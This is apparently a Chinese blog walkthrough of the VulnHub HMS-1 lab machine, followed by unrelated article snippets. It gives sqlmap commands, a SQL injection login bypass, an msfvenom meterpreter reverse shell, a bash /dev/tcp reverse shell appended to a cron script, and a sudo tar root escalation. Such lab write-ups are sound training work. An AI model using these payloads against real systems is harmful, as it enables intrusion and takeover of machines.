『vulnhub系列』HMS-1
『vulnhub系列』HMS?-1
下载地址:
https://www.vulnhub.com/entry/hms-1,728/
信息搜集:
使用nmap进行存活主机探测,发现开启了21端口(ftp)和22端口(ssh)

匿名登录ftp看看里面有什么东西,发现什么都没有
ftp 192.168.199.133
#使用anonymous登录,无需输入密码

进行全面扫描,发现开启了7080端口
nmap 192.168.199.133 -p 1-65535

访问7080端口的服务发现存在一个登录页面

使用dirsearch进行目录扫描
dirsearch -u "http://192.168.199.133:7080/"

在登录页面查看是否存在sql注入,发现确实存在,一个报错注入一个盲注
sqlmsqlmap -u http://192.168.199.133:7080/login.php --data="user=admin&email=admin%40123&password=asd&btn_login="

查看数据库
sqlmap -u http://192.168.199.133:7080/login.php --data="user=admin&email=admin%40123&password=asd&btn_login=" --dbs

查看数据库中的表
sqlmap -u http://192.168.199.133:7080/login.php --data="user=admin&email=admin%40123&password=asd&btn_login=" -D 'clinic_db' --tables

查看admin表中的字段,发现邮箱为 ndbhalerao91@gmail.com ,但是我们发现密码并不是明文
sqlmap -u http://192.168.199.133:7080/login.php --data="user=admin&email=admin%40123&password=asd&btn_login=" -D 'clinic_db' -T 'admin' --dump

漏洞利用:
我们之前发现,是存在报错注入的并且看payload是通过单引号闭合的
Payload: user=admin&email=admin@123' OR (SELECT 9709 FROM(SELECT COUNT(*),CONCAT(0x7170707671,(SELECT (ELT(9709=9709,1))),0x716b706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- nnPx&password=asd&btn_login=

我们使用万能密码发现带有前端验证

我们使用burp抓包,使用Repeater确认一下,发现Login Successfully
user=admin&email=ndbhalerao91%40gmail.com' or 1=1 #&password=asd&btn_login=

我们放包,登录成功

找了半天,没有发现什么地方可疑,我们再使用另一个工具扫描一下目录,因为并没有登录,所以这些302的跳转页面,其实也是存在的
gobuster dir -u "http://192.168.199.133:7080/" -w /usr/share/wordlists/dirb/big.txt -x .php

我们发现了setting页面,存在文件上传页面。上传使用msfvenom 生成的反弹shell
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.199.129 lport=4444 -o re_shell.php

然后发现上面出现了一串图片

新标签页访问,发现新的目录/uploadImage

最后在/uploadImage/Logo/ 中发现我们的re_shell.php

此时在我们的攻击机开启监听
msfconsole
use exploit/multi/handler
set lhost 192.168.199.133
set payload php/meterpreter/reverse_tcp
run

反弹成功

提升权限:
查看具有SUID权限的命令,发现/usr/bin/bash我们可以借此切换用户
find / -perm -u=s -type f 2>/dev/null

使用命令,成功切换为eren 用户
/usr/bin/bash -p

但是使用命令sudo -l发现还是要输入密码,因此此时我们的eren用户的权限并不完整
我们查看计划任务
cat /etc/crontab

发现一条计划任务*/5 * * * * eren /home/eren/backup.sh
关于计划任务:
* * * * *
分 时 日 月 周
而对于这条命令意思就是每五分钟执行一次
*/5 * * * * eren /home/eren//backup.sh
可以看到这个文件正好早eren的家目录下。那么我们刚刚切换为eren用户的操作就可以用到了,使用eren权限我们将反弹shell写入/backup.sh
echo "bash -i >& /dev/tcp/192.168.199.129/7777 0>&1" >> /home/eren/backup.sh
之后在攻击机使用nc等待
nc -lvp 7777

连接成功,获得完整的eren用户权限
使用命令sudo -l 查看用户可以在机器上运行的命令,发现tar命令可以以root权限执行
现在我们使用tar的sudo提权
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
- -cf /dev/null /dev/null 将/dev/null 打包为 /dev/null
- -c 打包
- -f 打包为f后面的名字
- --checkpoint=1 每打包一个文件就到达一个检查点
- --checkpoint-action=exec=/bin/sh 到达检查点后执行的命令
获得root权限

成果:
/home/nivek/local.txt :
3bbf8c168408f1d5ff9dfd91fc00d0c1
/root/root.txt:
299c10117c1940f21b70a391ca125c5d
『vulnhub系列』HMS-1的更多相关文章
- 『GreenPlum系列』GreenPlum 4节点集群安装(图文教程)
目标架构如上图 一.硬件评估 cpu主频,核数推荐CPU核数与磁盘数的比例在12:12以上Instance上执行时只能利用一个CPU核资源进行计算,推荐高主频 内存容量 网络带宽重分布操作 R ...
- Istio 运维实战系列(2):让人头大的『无头服务』-上
本系列文章将介绍用户从 Spring Cloud,Dubbo 等传统微服务框架迁移到 Istio 服务网格时的一些经验,以及在使用 Istio 过程中可能遇到的一些常见问题的解决方法. 什么是『无头服 ...
- Istio 运维实战系列(3):让人头大的『无头服务』-下
本系列文章将介绍用户从 Spring Cloud,Dubbo 等传统微服务框架迁移到 Istio 服务网格时的一些经验,以及在使用 Istio 过程中可能遇到的一些常见问题的解决方法. 失败的 Eur ...
- 『高性能模型』HetConv: HeterogeneousKernel-BasedConvolutionsforDeepCNNs
论文地址:HetConv 一.现有网络加速技术 1.卷积加速技术 作者对已有的新型卷积划分如下:标准卷积.Depthwise 卷积.Pointwise 卷积.群卷积(相关介绍见『高性能模型』深度可分离 ...
- 『TensorFlow Internals』笔记_源码结构
零.资料集合 知乎专栏:Bob学步 知乎提问:如何高效的学习 TensorFlow 代码?. 大佬刘光聪(Github,简书) 开源书:TensorFlow Internals,强烈推荐(本博客参考书 ...
- 『深度应用』NLP机器翻译深度学习实战课程·壹(RNN base)
深度学习用的有一年多了,最近开始NLP自然处理方面的研发.刚好趁着这个机会写一系列NLP机器翻译深度学习实战课程. 本系列课程将从原理讲解与数据处理深入到如何动手实践与应用部署,将包括以下内容:(更新 ...
- 关于『进击的Markdown』:第一弹
关于『进击的Markdown』:第一弹 建议缩放90%食用 比起隐蔽物下的狙击手,Markdown更像冲锋陷阵的阵头兵 简单.粗暴.直接.而且好上手 各位晚上好! 早饭吃了吗您 我 今 天 没 吃 M ...
- 关于『进击的Markdown』:第五弹
关于『进击的Markdown』:第五弹 建议缩放90%食用 路漫漫其修远兮,吾将上下而求索. 我们要接受Mermaid的考验了呢 Markdown 语法真香(一如既往地安利) ( 进击吧!Mark ...
- 关于『进击的Markdown』:第四弹
关于『进击的Markdown』:第四弹 建议缩放90%食用 美人鱼(Mermaid)悄悄的来,又悄悄的走,挥一挥匕首,不留一个活口 又是漫漫画图路... 女士们先生们,大家好! 我们要接受Markd ...
- 关于『进击的Markdown』:第三弹
关于『进击的Markdown』:第三弹 建议缩放90%食用 我与神明画押,赌这弹markdown又双叒叕拖稿了 %%%Markdown!我的CSDN编辑器崩了呜呜呜 各路英雄豪杰,大家好! 我们要开 ...
随机推荐
- Competition Set - 模拟赛 I
HNOI2017 Day2 2023-06-10 注:Day2T2换为BJOI2017Day2T1,以匹配学习进度 A.大佬 B.抛硬币 C.喷式水战改 A 大佬 你需要用 \(n\) 天挑战一名大佬 ...
- C#库dll配置文件App.config数据库连接项connectionStrings
原文地址:https://www.zhaimaojun.top/Note/5464967 网上一大堆的都是在说怎么修改项目文件,试过了不行,因为里面涉及到vs版本和安装目录等问题,不同的设备配置是不同 ...
- 08. rails 创建user控制器-用户添加
创建控制器 如果创始的数据模型是对应一张表,那么要使用复数的形式 例如给users表创建一个控制器 rails g controller users 路由 config/routes.rb里添加 re ...
- ansible系列(21)--ansible的变量注册Register
1. 变量注册Register register 关键字可以将某个 task 任务结果存储至变量中,最后使用 debug模块 输出变量内容,可以用于后续排障: 示例一:register的基本使用: # ...
- geojson介绍和常用转换编辑工具
GeoJSON是一种基于JSON的地理空间数据交换格式,它定义了几种类型JSON对象以及它们组合在一起的方法,以表示有关地理要素.属性和它们的空间范围的数据. 2015年,互联网工程任务组(IETF) ...
- vue3.4中defineModel中默认值是复杂数据类型 (注意!!!)
const drillFields = defineModel<string[]>('drillFields', { get(val) { return reactive(val || [ ...
- mysql命令最新
查看授权 mysql> select user,host from mysql.user; +--------+------------+ | user | host | +--------+- ...
- VAE-可变自动编码器
VAE 有什么作用? 简而言之,它改进了生成的图像.VAE 针对图像的某些方面进行训练,并且我们的 UI ( vae-ft-mse-840000-ema-pruned) 中捆绑的默认 VAE 改善了生 ...
- go 使用 consul api filter 过滤注意点
当你的value里面有-特殊符号的时候你应该像这样使用Service == "foo-bar"
- Android 12(S) ALooper AHandler AMessage(一)
卧榻之侧岂容他人酣睡,到现在ALooper AHandler AMessage的工作原理一直都没搞懂,很慌!看他们的路径都在libstagefright/foundation下,作为一个foundat ...